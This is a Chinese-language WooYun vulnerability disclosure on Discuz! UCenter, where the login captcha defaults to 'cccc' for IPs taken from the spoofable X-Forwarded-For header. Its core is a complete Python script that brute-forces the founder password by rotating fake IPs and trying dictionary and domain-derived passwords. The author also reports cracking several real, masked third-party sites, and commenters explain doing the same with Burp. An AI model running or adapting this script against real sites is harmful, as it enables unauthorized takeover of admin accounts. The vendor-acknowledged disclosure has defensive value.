当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080211

漏洞标题:Discuz 的UCenter创始人密码可被爆破(有案例)

相关厂商:Discuz!

漏洞作者: JJ Fly

提交时间:2014-10-21 09:37

修复时间:2015-01-19 09:38

公开时间:2015-01-19 09:38

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-21: 厂商已经确认,细节仅向厂商公开
2014-10-24: 细节向第三方安全合作伙伴开放
2014-12-15: 细节向核心白帽子及相关领域专家公开
2014-12-25: 细节向普通白帽子公开
2015-01-04: 细节向实习白帽子公开
2015-01-19: 细节向公众公开

简要描述:

没看源码,直接黑盒测试的。非验证码识别。
so 附上利用代码+几个成功案例。

详细说明:

http://192.168.1.105/discuz/uc_server/admin.php

图片1.png


含有一个验证码
验证码的地址为
http://localhost/discuz/uc_server/admin.php?m=seccode&seccodeauth=250dIGq%2FYDhocuXf3IrsBkvB2k23JXlXAbuWr3X1liUcX94&7500
但是
经过测试发现
登录uc_server的时候 如果ip第一次出现那么 seccode的默认值为cccc
而 ip地址 是通过X-Forwarded-For 获取的。
也就是我们修改xff的ip之后,再次打开上面那个验证码url,图片的值为cccc

图片9.png


所以可以写一个程序通过修改X-Forwarded-For的值爆破密码。

漏洞证明:

程序写好了 如下。(代码渣,见谅。)拿创始人密码做案例,管理员密码应该也可以。
<poc>

#coding:utf-8
import httplib,re,random,urllib,time
from sys import argv
# 进行爆破
def getHtml(host,htmlhash,htmlpass,htmlseccode):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'}
postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95'
resultHtml=httplib.HTTPConnection(host, 80, False)
resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead )
page=resultHtml.getresponse()
pageConect=page.read()
return pageConect
#获取 formhash 和 seccodehidden
def gethashs(host):
url='http://'+host+'/uc_server/admin.php'
pageContent=urllib.urlopen(url).read()
r1=re.compile('<input type="hidden" name="formhash" value="(\S+)" />')
htmlhash=r1.findall(pageContent)[0]
r2=re.compile('<input type="hidden" name="seccodehidden" value="(\S+)" />')
htmlseccode=r2.findall(pageContent)[0]
return htmlhash+' '+htmlseccode
#通过argv获取 host 字典 间隔时间 进行爆破
if(len(argv)==1):
print '---->python '+argv[0]+' host地址 字典文件 间隔时间'
print '---->python '+argv[0]+' 192.168.1.105 pass.txt 0.2'
else:
host=argv[1]
passfile=argv[2]
sleeptime=argv[3]
print '网站host为 '+host
#取域名 然后添加一些密码
hostuser=host.split('.')
hostuser=hostuser[len(hostuser)-2]
hostpass=[hostuser+'123',hostuser+'888',hostuser+hostuser,hostuser+'..',hostuser+'.',hostuser+'admin888',hostuser+'admin123',hostuser+'admin',hostuser+'123456']
print '密码字典为 '+passfile
print '间隔时间为 '+sleeptime
print '--->'
x=gethashs(host).split(' ')
f=open(passfile,'r')
htmlpass=f.read().split('\r\n')
htmlpass=hostpass+htmlpass
f.close()
for i in range(len(htmlpass)):
time.sleep(float(sleeptime))
print '正在尝试密码'+htmlpass[i]
if(getHtml(host,x[0],htmlpass[i],x[1])==''):
print '密码为 '+htmlpass[i]
break


</poc>

图片2.png


python dz_blast.py 192.168.1.117 pass.txt 0
192.168.1.117 新建的一个虚拟机 里面搭建的dz

图片3.png


附上几个成功案例
手头没有这种字典,就随便添加了几个密码测试了下,都是很常见的弱口令

mask 区域
1.http://**.**.**/ admin123456_
2.http://**.**.**/ admin_
3.http://**.**.**/ 123456


图片1.png


图片6.png


图片7.png


图片8.png


修复方案:

你们更专业

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-10-21 09:43

厂商回复:

谢谢您发现问题。我们尽快予以处理

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-21 10:02 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安,不只保险这么简单。)

    这个貌似要火,前排占位。

  2. 2014-10-21 10:38 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    设计缺陷/逻辑错误,api?

  3. 2014-10-21 15:02 | Hmily ( 路人 | 还没有发布任何漏洞 | 吾爱破解论坛)

    @Discuz! 你四个月前的漏洞还没处理,你能抓点紧吗?

  4. 2014-10-21 15:10 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Hmily 大哥 你急啥啊 另外pm俺 有事找你哈

  5. 2014-10-21 20:04 | 默秒全 ( 路人 | Rank:2 漏洞数:3 | a....)

    前排围观

  6. 2014-10-23 14:14 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    @Hmily @xsser 哈哈、吾爱破解的逆向牛来挖洞了

  7. 2014-10-25 02:53 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    这个貌似要火,前排占位。

  8. 2014-12-04 21:13 | xcrypt ( 实习白帽子 | Rank:87 漏洞数:9 | 暂无介绍~)

    burp可以暴破时不断改变x-forwarded-for,不需要单独写程序了。

  9. 2014-12-05 10:27 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @xcrypt 怎么操作给个教程

  10. 2014-12-05 20:38 | xcrypt ( 实习白帽子 | Rank:87 漏洞数:9 | 暂无介绍~)

    @hkAssassin 可以把IP地址的后两位当做数字,比如1.1到255.255,然后step是0.1,这样每次提交都自动加0.1,每次就都不一样了。

  11. 2014-12-26 17:52 | Hmily ( 路人 | 还没有发布任何漏洞 | 吾爱破解论坛)

    官方今天发布补丁,解决方案是打了补丁就算你有密码也进不去UC后台!Discuz就是这么任性!

  12. 2014-12-26 23:00 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    这个比较屌!

  13. 2015-01-19 10:14 | Wangl ( 实习白帽子 | Rank:33 漏洞数:4 | 新浪支付,值得拥有)

    屌爆了。

  14. 2015-01-19 11:02 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心,方得始终。)

    这么屌?

  15. 2015-01-19 11:28 | 菜菜 ( 实习白帽子 | Rank:83 漏洞数:7 | 人,可以白手起家,但不可以手无寸铁,紧记...)

    火前留名

  16. 2015-01-21 16:22 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)

    本地测试了一下没有成功,请问哥们你测试的是哪个版本?

  17. 2015-05-05 06:55 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)

    这个爆破得不行啊= =